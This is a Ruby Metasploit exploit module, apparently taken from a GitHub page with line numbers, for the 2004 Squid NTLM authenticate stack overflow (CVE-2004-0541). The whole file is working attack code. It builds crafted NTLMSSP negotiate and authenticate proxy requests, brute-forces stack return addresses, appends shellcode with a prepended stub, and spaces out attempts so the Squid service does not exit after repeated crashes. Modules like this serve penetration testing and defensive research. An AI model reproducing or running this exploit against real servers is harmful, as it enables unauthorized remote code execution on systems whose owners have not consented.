/
squid_ntlm_authenticate.rb
130 lines (116 loc) · 4.25 KB
/
squid_ntlm_authenticate.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Brute
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Squid NTLM Authenticate Overflow',
'Description' => %q{
This is an exploit for Squid\'s NTLM authenticate overflow
(libntlmssp.c). Due to improper bounds checking in
ntlm_check_auth, it is possible to overflow the 'pass'
variable on the stack with user controlled data of a user
defined length. Props to iDEFENSE for the advisory.
},
'Author' => 'skape',
'References' =>
[
[ 'CVE', '2004-0541'],
[ 'OSVDB', '6791'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
[ 'BID', '10500'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 256,
'MinNops' => 16,
'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",
'PrependEncoder' => "\x83\xec\x7f",
},
'Platform' => %w{ linux },
'Targets' =>
[
[ 'Linux Bruteforce',
{
'Platform' => 'linux',
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },
'Stop' => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },
'Step' => 0
}
},
],
],
'DisclosureDate' => '2004-06-08',
'DefaultTarget' => 0))
register_advanced_options(
[
# We must wait 15 seconds between each attempt so as to prevent
# squid from exiting completely after 5 crashes.
OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]),
])
end
def brute_exploit(addresses)
site = "http://" + rand_text_alpha(rand(128)) + ".com"
print_status("Trying 0x#{"%.8x" % addresses['Ret']}...")
connect
trasnmit_negotiate(site)
transmit_authenticate(site, addresses)
handler
disconnect
end
def trasnmit_negotiate(site)
negotiate =
"NTLMSSP\x00" + # NTLMSSP identifier
"\x01\x00\x00\x00" + # NTLMSSP_NEGOTIATE
"\x07\x00\xb2\x07" + # flags
"\x01\x00\x09\x00" + # workgroup len/max (1)
"\x01\x00\x00\x00" + # workgroup offset (1)
"\x01\x00\x03\x00" + # workstation len/max (1)
"\x01\x00\x00\x00" # workstation offset (1)
print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")
req =
"GET #{site} HTTP/1.1\r\n" +
"Proxy-Connection: Keep-Alive\r\n" +
"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +
"\r\n"
sock.put(req)
end
def transmit_authenticate(site, addresses)
overflow =
rand_text_alphanumeric(0x20) +
[addresses['Ret']].pack('V') +
[addresses['Valid']].pack('V') +
"\xff\x00\x00\x00"
shellcode = payload.encoded
pass_len = [overflow.length + shellcode.length].pack('v')
authenticate =
"NTLMSSP\x00" + # NTLMSSP identifier
"\x03\x00\x00\x00" + # NTLMSSP_AUTHENTICATE
pass_len + pass_len + # lanman response len/max
"\x38\x00\x00\x00" + # lanman response offset (56)
"\x01\x00\x01\x00" + # nt response len/max (1)
"\x01\x00\x00\x00" + # nt response offset (1)
"\x01\x00\x01\x00" + # domain name len/max (1)
"\x01\x00\x00\x00" + # domain name offset (1)
"\x01\x00\x01\x00" + # user name (1)
"\x01\x00\x00\x00" + # user name offset (1)
"\x00\x00\x00\x00" + # session key
"\x8b\x00\x00\x00" + # session key
"\x06\x82\x00\x02" + # flags
overflow + shellcode
print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")
req =
"GET #{site} HTTP/1.1\r\n" +
"Proxy-Connection: Keep-Alive\r\n" +
"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +
"\r\n"
sock.put(req)
end
end